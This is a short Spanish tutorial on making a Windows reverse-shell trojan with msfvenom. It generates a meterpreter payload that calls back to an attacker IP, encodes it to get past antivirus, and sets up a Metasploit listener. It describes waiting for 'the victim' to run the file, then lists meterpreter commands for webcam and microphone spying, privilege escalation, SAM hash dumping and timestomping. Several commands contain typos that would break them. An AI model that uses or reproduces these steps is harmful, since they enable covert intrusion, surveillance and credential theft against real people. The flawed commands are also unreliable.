Creación troyano Reverse Shell Windows

Vamos a utilizar msfvenom

Para este primer ejemplo vamos a usar un payload muy conocido Windows/meterpreter/reverse_tcp

Para ver las opciones que tenemos que cambiar:

- `msfvenom –list-options –p windows/merpreter/reverse_tcp`

Para generar nuestro troyano:

- `msfvenom -p windows/merpreter/reverse_tcp LHOST=192.168.1.23 LPORT4444 -f exe > troyano.exe`

para intentar que los antivirus no detecten nuestro troyano, vamos a encriptarlo:

- msfvenom -l

aquí nos mostrará todos los codificadores disponibles, el que mejor iba es x86/shikata_ga_nai (pero el defender de ahora lo detecta)

- `msfvenom -p windows/merpreter/reverse_tcp LHOST=192.168.1.23 LPORT4444 –e x86/shikata_ga_nai –i 50 -f exe > troyano.exe`

Una vez tenemos el ejecutable abrimos metaesploit

- msfconsole
- use exploit/multi/handler
- set payload windows/meterpreter/reverse_tcp
- set LHOST 192.168.1.23
- run

ya solo falta que la victima ejecute el programa y tendremos una rever Shell de su equipo

```
Command         Description
-------         -----------
record_mic      Record audio from the default microphone for X seconds
webcam_chat     Start a video chat
webcam_list     List webcams
webcam_snap     Take a snapshot from the specified webcam
webcam_stream   Play a video stream from the specified webcam
```

```
Priv: Elevate Commands
======================

    Command       Description
    -------       -----------
    getsystem     Attempt to elevate your privilege to that of local system.


Priv: Password database Commands
================================

    Command       Description
    -------       -----------
    hashdump      Dumps the contents of the SAM database


Priv: Timestomp Commands
========================

    Command       Description
    -------       -----------
    timestomp     Manipulate file MACE attributes

meterpreter >
```